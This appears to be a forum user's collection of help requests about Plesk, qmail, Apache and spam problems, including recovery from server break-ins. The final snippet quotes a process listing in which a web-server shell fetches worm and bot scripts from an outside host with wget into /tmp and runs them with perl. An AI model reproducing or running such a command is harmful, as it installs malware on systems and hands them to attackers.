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I am running Plesk 9.5.4 MU 29 on Linux RedHat el5 Using qmail and courier-imap Server is running smoothly (load lower than 1) until some time when the users connect to their mail accounts at the start of labor day. The load gets really high (500, 1000, or even 2000 on the 1 minute load...

Hi For PCI compliance and security reasons, I need to upgrade Apache 2.2.3 to 2.2.22 currently I have: httpd -v Server version: Apache/2.2.3 Server built: Oct 27 2011 11:52:11 but can't find the new version on yum: yum info httpd Loaded plugins: rhnplugin, security Installed...

I had updated from verison 10.0.0 to Parallels Plesk Panel 10.4.4 MU#22 Also installed PHP 5.3 update module so I could switch different php versions After it I got PHP version 5.3.3 installed on all my sites But I cannot switch the php versions on my domain names. How can I update to...

fixed! http://nixcraft.com/mail-servers/17412-qmail-recover-queue.html#post34545

I had a problem patching qmail and it stopped to work for several hours, it did recieved the messages but didn't delivered it. Now I have a mail queue of 2,000 messages, the qstat command gives me the number but the qmail-qread shows nothing on queue. I do see all the files on the...

I had a hacker attack on my server. The attacker deleted all the log folders on server and removed some binaries and the login.php3 /usr/local/psa/admin/htdocs/login.php3 <-- is missing So I currently get a 404 error when I try to login to Plesk. The server is working fine, the database is...

I am having a lot of connections on tcp-env they are from the smtp users sending e-mail on the server, the problem is they still remain open on the server and then the server stop accepting new smtp processes. here is the list of processes of this kind: (have to remove half of the lines for...

I have recieved a mailer-deamon failure notice of a message that didn't arrive to their destination. the problem is the e-mail has the text of one of my messages that was sent to an specific user, and the error returns with several addresses from Brasil wich I don't know, it seems as if the...

Hi, I am on a RHEL3 box with Plesk 7.5 Reloaded. Relay configuration checked on server requiere autentication for POP3 and unchecked for SMTP. the problem is I have one client using Outlook 2003 that always get the 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)...

thanks, I am trying it now. I think I find the trick. te preprocessed messages was there because I stopped qmail (service qmail stop) to avoid the spam sending. but the malicious script was still running so the messages was recieved on the preprocessed queue. So I went to the qmail...

I need also to get rid of the queue messages, I do have qhandle and it works for the messages on queue, but right now I have messages on the preprocessed queue and do not know how to get rid of them! (I stopped qmail so they are waiting to be sent) I know they come from bad sources, they are...

Any security consultant available to hire for some hours? I am having a lot of attacks on my servers using several php exploits, I couldn't install mod_security yet, and also would like some advice from time to time about security, scripts, backups, etc. any one available? it can be by...

I also have problems installing mod_security on a 3ES box: I already did: any clue on the problem?

I also tried to use MAPS, it worked for reducing SPAM, but doesn't let some of my clients to send messages, I think because their IP is on the blacklists of spammers. How can I enable MAPS only for incoming mail and not for smtp?

the problem is that I think all the ports are blocked by this client on ev1.net, because the traceroute doesn't reach to destination from my server it get stucked on above.net, before ev1.net and the same traceroute, from another IP it reach their destination without problems Even more...

One of my clients is reporting an e-mail problem to one server. I tested and had a good traceroute from my ISP, but from my server there is a block before ev1.net (where the final user's client is located). I submitted a ticket to my provider, they said it's a banned IP from my server and...

Hi, I have a problem with my qmail, the queue is getting to long (650 messages right now) the server is sending the messages slow, and the client's Outlook's are failing because the mail process on the server are too busy. I had identified an IP sending a lot of messages (with virus) on...

thanks ptheborg and Ivalics, thanks for the info, that's precisely the worm I have. The problem is I have several sites using phpBB (about 7) and others using PHPNuke, so disable phpBB or php applications is not the option for me right now. How can I secure the /tmp folder to not be...

I am having some strage process: apache 610 0.3 0.0 5320 1096 ? S 02:13 0:00 sh -c cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcoders.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl...